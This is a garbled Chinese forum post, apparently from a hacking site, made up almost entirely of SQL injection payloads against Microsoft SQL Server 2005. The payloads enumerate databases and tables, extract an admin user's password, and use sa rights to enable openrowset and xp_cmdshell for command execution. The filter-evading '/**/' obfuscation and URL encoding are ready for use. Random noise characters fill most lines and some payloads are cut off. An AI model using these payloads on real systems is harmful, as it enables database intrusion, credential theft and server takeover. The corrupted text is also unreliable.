" o! g' @. X* \ A' u: G) S
7 y. H6 Y4 _" Y
1 L i7 I. j- a6 [: \2 o% x[Copy to clipboard]CODE:
( ~: e$ L$ l# b5 q/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--; q3 J" t( l9 ~
2 }6 E% z6 X, C; v
爆表语句,somedb部份是所要列的数据库,红色数字1累加' X) V. R; Y) i \+ H9 q
$ t9 \( J" \! R7 f) i
' y; `2 c$ _3 Z' U& N4 z: l[Copy to clipboard]CODE:
* ^3 |3 W7 P4 R/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
" b2 \ G+ t3 E' @
9 t) k7 A. {$ u6 z爆字段语句,爆表admin里user='icerover'的密码段
5 X- t7 [( {1 s" a8 @- i
5 i* x g! c! @1 U2 A0 {5 O% Z
2 Z* d% C, W; |( x[Copy to clipboard]CODE:# `; n9 ]7 R3 u5 p5 O) I* y) ~' I
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--& R6 J( a% F- M1 Q# _
. ~/ Z% i2 y" g3 G1 \' E% _- h4 l: I
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
9 X2 ?1 X' P' j- ?如果是sa权限,可以这样来开启4 H7 F$ N! a0 _* X
开启openrowset4 h' [. P F! r! H; R
2 Y8 R. U& s. q: S5 z' o/ ~
E$ O% _; l; B2 a4 c
[Copy to clipboard]CODE:( e3 ?/ s7 |5 g) p4 T5 F
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
3 e& R$ v: ~2 n% S8 s: g' Z1 G8 k/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--7 B4 z& M" {. b( g
* ?$ \4 K& j( N% b5 H% N开启xp_cmdshell
1 E* \1 t u* u( s% R' H& G
1 G! w3 B: X7 y* Q: H7 M1 S# b
( g2 m% Q+ }5 Y. O- Y) s% H[Copy to clipboard]CODE:. h3 R; T6 C% r! ?2 ?
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--+ v' @& E' u2 _/ E8 ^
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--& u) }: W# Q7 p5 ~0 _+ X6 `9 k
: G3 B/ |, a. C) ~+ i7 D8 uok,over~~晚安
6 J9 B3 S. h- r3 d+ O |